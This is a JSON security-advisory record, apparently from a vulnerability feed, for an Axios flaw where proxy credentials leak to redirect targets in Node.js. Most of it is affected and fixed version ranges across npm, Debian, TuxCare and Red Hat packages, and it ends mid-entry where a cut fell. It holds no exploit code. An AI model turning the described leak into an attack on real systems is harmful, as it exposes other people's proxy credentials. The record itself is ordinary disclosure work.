{"id":"CVE-2026-44486","aliases":["CLSA-2026-1784856367","CLSA-2026-1784856396","CLSA-2026-1784856398","CLSA-2026-1784856410","CLSA-2026-1784943412","CLSA-2026-1785291650","CLSA-2026-1785291681","CLSA-2026-1785291685","CLSA-2026-1785291689","CLSA-2026-1785291889","CLSA-2026-1785291891","CLSA-2026-1785380760","CLSA-2026-1785468080","CLSA-2026-1790764333","CLSA-2026-1793101806","CLSA-2026-1793101832","CLSA-2026-1793101849","CLSA-2026-1793110604","CLSA-2026-1793874599","CLSA-2026-1794060370","CLSA-2026-1794060576","DEBIAN-CVE-2026-44486","EUVD-2026-36263","GHSA-42h9-826w-cgv3","GHSA-7q8q-rj6j-mhjq","GHSA-j5f8-grm9-p9fc","GHSA-jqh4-m9w3-8hp9","GHSA-pmv8-rq9r-6j72","RHSA-2026:42078","UBUNTU-CVE-2026-44486"],"status":"published","title":"Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00552,"percentile":0.46407,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-201"],"published":"2026-06-04T14:15:01Z","modified":"2026-11-07T19:00:38Z","fixes":[{"ecosystem":"npm","package":"axios","fixed_in":["1.16.0","0.32.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"axios","fixed_in":["1.6.8-tuxcare.4","0.26.1-tuxcare.4","1.6.2-tuxcare.4","1.7.7-tuxcare.6","1.7.5-tuxcare.5"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-axios","fixed_in":["1.16.0-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"1.16.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.31.1"},{"fixed":"0.32.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.15.3-tuxcare.0"},{"fixed":"0.15.3-tuxcare.4"}]}],"versions":["0.15.3","0.15.3-tuxcare.1","0.15.3-tuxcare.2","0.15.3-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.21.4-tuxcare.0"},{"fixed":"0.21.4-tuxcare.2"}]}],"versions":["0.21.4","0.21.4-tuxcare.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.21.1-tuxcare.0"},{"fixed":"0.21.1-tuxcare.2"}]}],"versions":["0.21.1","0.21.1-tuxcare.1"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.19.2-tuxcare.0"},{"fixed":"0.19.2-tuxcare.2"}]}],"versions":["0.19.2","0.19.2-tuxcare.1"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.27.2-tuxcare.0"},{"fixed":"0.27.2-tuxcare.3"}]}],"versions":["0.27.2","0.27.2-tuxcare.1","0.27.2-tuxcare.2"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.24.0-tuxcare.0"},{"fixed":"0.24.0-tuxcare.4"}]}],"versions":["0.24.0","0.24.0-tuxcare.1","0.24.0-tuxcare.2","0.24.0-tuxcare.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.6.8-tuxcare.0"},{"fixed":"1.6.8-tuxcare.4"}]}],"versions":["1.6.8","1.6.8-tuxcare.1","1.6.8-tuxcare.2","1.6.8-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.1-tuxcare.0"},{"fixed":"0.26.1-tuxcare.4"}]}],"versions":["0.26.1","0.26.1-tuxcare.1","0.26.1-tuxcare.2","0.26.1-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.6.2-tuxcare.0"},{"fixed":"1.6.2-tuxcare.4"}]}],"versions":["1.6.2","1.6.2-tuxcare.1","1.6.2-tuxcare.2","1.6.2-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.7-tuxcare.0"},{"fixed":"1.7.7-tuxcare.6"}]}],"versions":["1.7.7","1.7.7-tuxcare.1","1.7.7-tuxcare.2","1.7.7-tuxcare.3","1.7.7-tuxcare.4","1.7.7-tuxcare.5"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.5-tuxcare.0"},{"fixed":"1.7.5-tuxcare.5"}]}],"versions":["1.7.5","1.7.5-tuxcare.1","1.7.5-tuxcare.2","1.7.5-tuxcare.3","1.7.5-tuxcare.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.9-tuxcare.0"},{"fixed":"1.7.9-tuxcare.3"}]}],"versions":["1.7.9","1.7.9-tuxcare.1","1.7.9-tuxcare.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0-tuxcare.0"},{"fixed":"0.26.0-tuxcare.4"}]}],"versions":["0.26.0","0.26.0-tuxcare.1","0.26.0-tuxcare.2","0.26.0-tuxcare.3"],"bundled":14},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.5-tuxcare.0"},{"fixed":"1.13.5-tuxcare.1"}]}],"versions":["1.13.5"],"bundled":28},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.18.0-tuxcare.0"},{"fixed":"0.18.0-tuxcare.2"}]}],"versions":["0.18.0","0.18.0-tuxcare.1"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.21.2-tuxcare.0"},{"fixed":"0.21.2-tuxcare.2"}]}],"versions":["0.21.2","0.21.2-tuxcare.1"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.2-tuxcare.0"},{"fixed":"1.13.2-tuxcare.2"}]}],"versions":["1.13.2","1.13.2-tuxcare.1"],"bundled":32},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.12.2-tuxcare.0"},{"fixed":"1.12.2-tuxcare.1"}]}],"versions":["1.12.2"],"bundled":32},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.6-tuxcare.0"},{"fixed":"1.13.6-tuxcare.3"}]}],"versions":["1.13.6","1.13.6-tuxcare.1","1.13.6-tuxcare.2"],"bundled":27},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.15.0-tuxcare.0"},{"fixed":"1.15.0-tuxcare.1"}]}],"versions":["1.15.0"],"bundled":12},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.15.2-tuxcare.0"},{"fixed":"1.15.2-tuxcare.1"}]}],"versions":["1.15.2"],"bundled":6},{"source":"osv","ecosystem":"Debian:12","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.2.1+dfsg-1","1.2.1+dfsg-1+deb12u1","1.20.0-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-1","1.6.8+dfsg-2","1.7.3+dfsg-1","1.7.4+dfsg-1","1.7.7+dfsg-1","1.7.9+dfsg-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.20.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.16.0-1"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.16.0"}]}]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.32.0"}]}]},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"ansible-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.63-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.63-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptorctl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.50-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.50-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"python3.12-urllib3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.0-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-base-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-event-stream-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-eda-controller-worker-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-hub","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.10.16-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-galaxy-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.10.16-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pulp-ansible","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.25.6-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pulp-container","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.19.12-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pysequoia","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pysequoia-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pysequoia-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-urllib3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.0-1.el8ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"python3.12-urllib3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.7.0-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"ansible-test","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:2.16.19-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.30-2.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-base-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-event-stream-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-eda-controller-worker-services","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.20-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260715-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-hub","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.10.16-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-galaxy-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.10.16-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pulp-ansible","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1:0.25.6-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pulp-container","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.19.12-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pyjwt+crypto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pyjwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.13.0-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pysequoia","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pysequoia-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pysequoia-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.34-1.el9ap"}]}],"bundled":25},{"source":"osv","ecosystem":"Red 